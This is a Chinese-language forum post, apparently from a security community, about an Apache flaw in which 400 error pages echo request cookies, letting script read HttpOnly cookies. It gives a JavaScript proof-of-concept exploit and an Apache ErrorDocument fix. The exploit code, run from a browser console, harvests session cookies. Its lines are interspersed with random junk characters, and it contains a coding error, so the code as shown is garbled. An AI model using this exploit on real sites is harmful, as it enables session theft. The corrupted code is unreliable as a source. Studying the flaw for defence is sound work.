找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2744|回复: 0
打印 上一主题 下一主题

Apache HttpOnly Cookie XSS跨站漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:15:43 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。
, C2 K% w3 P  ~( v7 L
! b7 _) o& F9 K; s" d) B0 \" ]2 V用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:: S5 V- v3 S5 F

3 M: C6 ~3 E6 h, F3 W& ?
  c& L. Q& b3 \; u// http://www.exploit-db.com/exploits/18442/
# y3 r. n- A3 Q( ?0 [; nfunction setCookies (good) {, b- ?0 J8 }  t3 k
// Construct string for cookie value  S8 |7 \: _0 W( Q* Z! o
var str = "";  f' g' e+ J8 V6 L1 L, h; A
for (var i=0; i< 819; i++) {$ V! x; A8 y) B& }& i; X; Q+ b" ]0 N
str += "x";
" N9 ^) L( t, H# B9 q: _}
, R* a- A5 `7 S$ p4 M# ~// Set cookies$ q5 J; ?. F6 V" k
for (i = 0; i < 10; i++) {1 L9 M1 B) M2 m$ B- R; v* f7 T5 M
// Expire evil cookie* j# D& S0 t9 f) D
if (good) {: O3 `" J: k; \( t0 s
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";# E& W& Z9 i% X# n3 C9 n
}
3 C* x) m) q8 Y: h// Set evil cookie
- K. f; {6 |! R  n( t$ [! Q8 Selse {5 |( x8 S" n$ L' \( o6 I0 i
var cookie = "xss"+i+"="+str+";path=/";' ~% Z: s; F4 R; m- T: r
}2 W9 `' V% \# y% @/ X, o
document.cookie = cookie;4 x" n* q* a# d) ?
}
5 }7 i# L. o/ T2 P. m! P}
% D8 T$ s3 F3 lfunction makeRequest() {
6 s3 f! W3 p3 e* ~8 DsetCookies();3 M+ E# t3 b0 t
function parseCookies () {3 A! M$ [1 n7 A
var cookie_dict = {};6 X3 U  Z# X7 G) U
// Only react on 400 status. j7 e# y& `6 q
if (xhr.readyState === 4 && xhr.status === 400) {% {5 D6 N8 Q4 f% k& w+ p, ~
// Replace newlines and match <pre> content
2 r) ^4 @/ }; xvar content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);5 t6 E! a8 b7 F# h6 a" H% C* _
if (content.length) {2 }+ S9 r/ z- j; Z
// Remove Cookie: prefix
$ N) A4 P( H* Ncontent = content[1].replace("Cookie: ", "");
/ a$ K' l5 r; X2 Q2 g7 i6 Y  g: ?var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
$ \% a0 U) s+ T// Add cookies to object4 d! N8 J- p& y
for (var i=0; i<cookies.length; i++) {
! \1 x& j1 G6 [+ w9 k: qvar s_c = cookies.split('=',2);
( ]4 l% n  w/ x' ucookie_dict[s_c[0]] = s_c[1];, o9 W) t2 p+ H5 m. g- D
}
1 A: `" L+ N* _, Z& M}
% i  ?8 G" k0 y6 B2 B// Unset malicious cookies
1 [+ `4 U1 m4 L# n8 l- IsetCookies(true);
& M- u; y* L3 L' Q) C3 G; z, Q! @alert(JSON.stringify(cookie_dict));
+ ]! t% h4 D& I+ l+ _}
+ f* c$ \3 w7 J0 b0 ^( N}
9 w0 S4 G  T/ f// Make XHR request
- J8 U) l5 l4 L( J6 k5 B$ dvar xhr = new XMLHttpRequest();
3 Z! c! K0 b& n' Hxhr.onreadystatechange = parseCookies;) m; {# A. q3 R  e- l9 w' E/ {4 U
xhr.open("GET", "/", true);: d. r. R7 \) J* M1 Y, ?* M% m
xhr.send(null);
) H& A( u+ v; B( `  W) \; U9 u+ q}
+ _- j$ s$ U: J& V0 z0 s! omakeRequest();" E" K: T' ^" e2 x
  q0 d$ v. U, D: P( A  F# m
你就能看见华丽丽的400错误包含着cookie信息。- H. C& o2 b; A) X

$ h3 {$ K2 x9 [8 {& z( E6 K0 ~( B- h下载地址:https://gist.github.com/pilate/1955a1c28324d4724b7b/download#
* p' {- v. Z. Z) D
% {: F7 U; Y  _# I. p, E修复方案:
" v& U) P# W1 o" @7 x1 p
# E) a% G, n0 v" `$ }2 o% \2 A9 XApache官方提供4种错误处理方式(http://httpd.apache.org/docs/2.0/mod/core.html#errordocument),如下
1 I3 N0 }* X+ e( d( C2 Q3 U3 V$ T' I7 b/ f3 k3 Y# r
In the event of a problem or error, Apachecan be configured to do one of four things,
! a3 @6 ?1 O' w3 {- K( t: y
* f) x* n) T( o8 N1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
- z: a0 P* t- b$ Y( |9 [2 @2. output acustomized message输出一段信息
  a* p/ j1 e- E" k3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面 0 u0 {7 j  k+ X. @' g
4. redirect to an external URL to handle theproblem/error转向一个外部URL
/ V; M, Z8 S) }+ @7 x% C6 b& F6 O6 \6 j+ \7 E
经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容
; h* B! a6 Z' ~' L2 b% q& x+ w  m. R' Q: K
Apache配置:
% e( U5 T, w, q5 R5 I. D" Q) t$ T' Q/ s  n
ErrorDocument400 " security test"
( L; }  r5 A# i; V. f* v
, {& n' k# r1 X+ C% [$ M当然,升级apache到最新也可:)。' V# ^3 H% [& ]
" J5 N% e- {5 q* {% k3 C7 J
参考:http://httpd.apache.org/security/vulnerabilities_22.html
! H/ L) K: [0 L
, [' Z* w! T# g( O8 Z3 c+ D3 e
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表